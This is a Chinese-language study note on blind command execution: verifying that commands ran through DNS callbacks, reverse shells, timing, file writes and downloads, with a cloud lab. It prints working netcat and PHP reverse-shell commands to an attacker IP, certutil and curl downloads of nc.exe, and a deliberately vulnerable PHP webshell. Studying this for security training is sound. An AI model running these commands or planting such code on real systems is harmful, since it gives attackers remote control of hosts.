无回显
附:完整笔记目录~
ps:本人小白,笔记均在个人理解基础上整理,若有错误欢迎指正!
3.1 无回显
-
概念
无回显常常在Web漏洞挖掘中被提到。是指当攻击者控制目标系统执行命令时,目标并不会直接返回结果,造成攻击者无法知晓自己的攻击行为是否成功。
那么当聪明的攻击者遇到这种情况该如何解决呢?
-
DNSLog/ICMP-SizeLog/TCP-PortLog反连检测
-
原理:DNSLog反连为最简单也最常用的方法,控制目标服务器对指定域名进行反连,并依据反连结果来判断命令是否能成功执行。而后两种方式则是对DNSLog的补充,解决思路基本一致均为反连检测。
-
实现:Yakit集成了这三种反连检测方式,GUI,直接用即可。
-
-
反弹Shell
-
原理:攻击者控制目标服务器主动将shell给到自己。
-
实现:判断目标服务器操作系统,使用nc进行反弹shell。Linux自带nc,而Windows则需考虑如何将nc上传至目标服务器。(nc:Netcat,网络工具,用于读写网络中连接的数据)
# 靶机Linux&Windows nc -e /bin/bash 攻击者ip 端口号 nc -e cmd 攻击者ip 端口号 # 将bash/cmd shell给到攻击机 # 攻击机 nc -lvp 端口号 # -l,表示开启监听模式 # -v,表示输出详细信息 # -p,表示监听端口
当然,还有很多工具/服务能实现反弹Shell,如python、powershell、php等。至于不同工具/服务的反弹命令,详见:https://forum.ywhack.com/reverse-shell/。
由于nc使用最为简单,所以在基础入门阶段,本文仅使用nc进行展示。
-
-
延时检测
-
原理:延时检测指攻击者通过观察目标服务器执行不同命令时的响应时间,来判断命令是否被成功执行。
-
实现:控制目标主机先执行ping www.example.com记录响应时间,再执行ping -n/-c 10 www.example.com并记录响应时间。最终判断后一命令响应时间是否约为前一命令的10倍,若是则证明命令被执行成功。
# Windows发送n次ping请求 ping -n 次数 www.example.com # Linux发送n次ping请求 ping -c 次数 Www.example.com
-
-
文件写入&访问
-
原理:利用命令执行在当前目录或Web目录下,写入&创建一个新文件。再尝试访问自己所创文件,若能成功访问则证明命令执行成功。
-
实现:
# Windows&Liunx echo 19 > test.txt
-
-
文件下载
-
原理:控制目标服务器主动访问并下载攻击者指定远程服务器文件,观察远程服务器是否被访问进而判断命令是否被执行。
可以看到与反连检测类似,但还有一个作用。前面提到Windows并不会自带nc,那么通过这种方式是不是可以控制Windows远程下载nc呢? -
实现:
# Windows certutil.exe -urlcache -split -f http://远程服务器ip:端口号/nc.exe nc.exe # Linux curl http://远程服务器ip:端口号/nc.exe -o nc.exe
命令自动生成&更多命令,详见:https://forum.ywhack.com/bountytips.php?download
-
-
实验:
使用php写一个带有RCE的Web(包含有回显&无回显),观察命令执行后有回显&无回显的区别。
若无回显,则尝试使用上述五种方式判断命令是否被成功执行。
-
实验开始,阿里云租两台Linux服务器,一台为靶机,一台为攻击机。(我选择的发行版为Ubuntu 20.04)
-
靶机部署安装Apache+Php,并在网站根目录下上传实现RCE的php文件
# 安装Apache+PHp # 更新软件包索引 sudo apt update sudo apt install apache2 sudo systemctl start apache2 sudo apt install php libapache2-mod-php
安装完成后,编写并上传实现RCE的php文件。
<?php # php实现RCE # 命令执行后有回显 system($_GET['c']); # 无回显 shell_exec($_GET['c']); ?>
-
访问该Php文件,并观察命令执行后有/无回显的区别
-
若命令执行后无回显,通过上述五种方式来验证命令是否成功执行。
# 附payload,本实验使用版本php 7.4.3 php -r '$sock=fsockopen("目标ip",端口号);$proc=proc_open("/bin/bash", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
可以看到文件被成功写入,但感觉比较鸡肋。
Linux权限控制严格,即使能RCE,但用户权限不一定为root。而仅有root才能在网站目录下实现写入操作,本实验则是放通了other用户对网站目录的写权限才成功。因此该方法建议搭配文件下载来实现。 -
至此,实验结束!
-